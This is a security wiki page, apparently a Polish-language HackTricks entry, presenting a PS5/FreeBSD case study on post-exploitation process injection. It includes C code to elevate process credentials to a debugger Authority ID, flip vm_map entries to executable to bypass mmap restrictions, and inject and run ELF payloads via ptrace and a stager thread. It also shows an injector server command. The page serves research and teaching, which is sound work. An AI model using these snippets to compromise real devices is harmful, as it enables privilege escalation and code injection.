9.3 KiB
FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
{{#include ../banners/hacktricks-training.md}}
Overview
Ta strona dokumentuje praktyczną technikę iniekcji procesu/ELF w trybie użytkownika Unix/BSD na PlayStation 5 (PS5), która oparta jest na FreeBSD. Metoda uogólnia się na pochodne FreeBSD, gdy już posiadasz kernel read/write (R/W) primitives. W skrócie:
- Zmodyfikuj bieżące poświadczenia procesu (ucred), aby nadać uprawnienia debuggera, umożliwiając ptrace/mdbg na dowolnych procesach użytkownika.
- Znajdź procesy docelowe, przeglądając listę allproc w jądrze.
- Obejście ograniczeń PROT_EXEC przez ustawienie vm_map_entry.protection |= PROT_EXEC w vm_map procesu docelowego za pomocą zapisów do pamięci jądra.
- Użyj ptrace do wykonania Remote Function Invocation (RFI): zawieś wątek, ustaw rejestry, aby wywołać dowolne funkcje wewnątrz celu, wznowienie, zbierz wartości zwrotne i przywróć stan.
- Zmapuj i uruchom dowolne payloady ELF wewnątrz procesu docelowego używając in-process ELF loadera, następnie uruchom dedykowany wątek wykonujący twój payload i wywołujący breakpoint, aby się czysto odłączyć.
PS5 hypervisor mitigations warte odnotowania (sformułowane w kontekście tej techniki):
- XOM (execute-only .text) uniemożliwia odczyt/zapis .text jądra.
- Wyczyszczenie CR0.WP lub wyłączenie CR4.SMEP powoduje hypervisor vmexit (crash). Tylko zapisy do danych jądra są wykonalne.
- Userland mmap jest domyślnie ograniczony do PROT_READ|PROT_WRITE. Przyznanie PROT_EXEC musi być zrobione przez edycję wpisów vm_map w pamięci jądra.
Ta technika jest post-exploitation: zakłada istnienie kernel R/W primitives uzyskanych w chainie exploita. Publiczne payloady demonstrują to do firmware 10.01 w momencie pisania.
Kernel data-only primitives
Process discovery via allproc
FreeBSD utrzymuje dwukierunkową listę procesów w kernel .data pod allproc. Mając kernel read primitive, iteruj ją, aby zlokalizować nazwy procesów i PIDs:
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
Notatki:
- KERNEL_ADDRESS_ALLPROC jest zależny od firmware.
- p_comm to nazwa o stałej długości; rozważ wyszukiwania pid->proc w razie potrzeby.
Podnieś poświadczenia do debugowania (ucred)
Na PS5 struct ucred zawiera pole Authority ID dostępne przez proc->p_ucred. Zapisanie wartości Authority ID odpowiadającej debuggerowi przyznaje ptrace/mdbg nad innymi procesami:
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
- Offset 0x58 jest specyficzny dla rodziny firmware PS5 i musi być zweryfikowany dla każdej wersji.
- Po tym zapisie injector może przyłączyć się i instrumentować procesy użytkownika za pomocą ptrace/mdbg.
Omijanie mapowań użytkownika tylko RW: vm_map PROT_EXEC flip
Userland mmap może być ograniczony do PROT_READ|PROT_WRITE. FreeBSD śledzi przestrzeń adresową procesu w vm_map z węzłami vm_map_entry (BST plus lista). Każdy wpis zawiera pola protection i max_protection:
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
Mając kernel R/W możesz zlokalizować target’s vm_map i ustawić entry->protection |= PROT_EXEC (a w razie potrzeby entry->max_protection). Uwagi praktyczne dotyczące implementacji:
- Przechodź wpisy albo liniowo przez next, albo używając balanced-tree (left/right) dla wyszukiwania po zakresie adresów w O(log n).
- Wybierz znany region RW, którym zarządzasz (scratch buffer lub mapped file) i dodaj PROT_EXEC, aby móc stage’ować kod lub loader thunki.
- Kod PS5 SDK dostarcza helpery do szybkiego map-entry lookup i przełączania protekcji.
To omija userland’s mmap policy przez bezpośrednią edycję kernel-owned metadata.
Remote Function Invocation (RFI) with ptrace
FreeBSD nie ma Windows-owego VirtualAllocEx/CreateRemoteThread. Zamiast tego wymuszasz, aby target wywołał funkcje wewnątrz siebie pod kontrolą ptrace:
- Attachnij się do targetu i wybierz wątek; może mieć zastosowanie PTRACE_ATTACH lub PS5-specific mdbg flows.
- Zapisz kontekst wątku: registers, PC, SP, flags.
- Zapisz argument registers zgodnie z ABI (x86_64 SysV lub arm64 AAPCS64), ustaw PC na docelową funkcję i opcjonalnie umieść dodatkowe args/stack według potrzeby.
- Wykonuj single-step lub kontynuuj aż do kontrolowanego stopu (np. software breakpoint lub sygnał), potem odczytaj wartości zwracane z regs.
- Przywróć oryginalny kontekst i kontynuuj.
Use cases:
- Call into an in-process ELF loader (e.g., elfldr_load) with a pointer to your ELF image in target memory.
- Invoke helper routines to fetch returned entrypoints and payload-args pointers.
Example of driving the ELF loader:
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
Loader mapuje segmenty, rozwiązuje imports, stosuje relocations i zwraca punkt wejścia (często CRT bootstrap) oraz nieprzezroczysty wskaźnik payload_args, który Twój stager przekazuje do payload’s main().
Threaded stager and clean detach
Minimalny stager wewnątrz celu tworzy nowy pthread, który uruchamia main ELF-a, a następnie wywołuje int3, aby zasygnalizować injectorowi, żeby się odłączył:
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
- Wskaźniki SCEFunctions/payload_args są dostarczane przez loader/SDK glue.
- Po breakpoint i detach payload kontynuuje w osobnym thread.
Pełny pipeline (implementacja referencyjna dla PS5)
Działająca implementacja jest dostarczana jako mały TCP injector server oraz skrypt klienta:
- NineS server nasłuchuje na TCP 9033 i odbiera nagłówek zawierający nazwę procesu docelowego, po którym następuje ELF image:
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
- Użycie klienta Python:
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
Przykład Hello-world payload (loguje do klog):
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
Praktyczne uwagi
- Offsety i stałe (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) są specyficzne dla firmware i muszą być aktualizowane dla każdej wersji.
- Zabezpieczenia hypervisora wymuszają zapisy do jądra wyłącznie jako dane; nie próbuj patchować CR0.WP lub CR4.SMEP.
- Pamięć JIT jest alternatywą: niektóre procesy udostępniają PS5 JIT APIs do alokacji wykonywalnych stron. Zmiana ochrony vm_map usuwa konieczność polegania na sztuczkach JIT/mirroring.
- Utrzymuj mechanizm zapisu/przywracania rejestrów odporny na błędy; w razie niepowodzenia możesz doprowadzić do deadlock lub crash targetu.
Publiczne narzędzia
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Injector server: https://github.com/buzzer-re/NineS/
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
Źródła
- Usermode ELF injection on the PlayStation 5
- ps5-payload-dev/sdk
- ps5-payload-dev/elfldr
- buzzer-re/NineS
- playstation_research_utils
- Mira
- gdbsrv
- FreeBSD klog reference
{{#include ../banners/hacktricks-training.md}}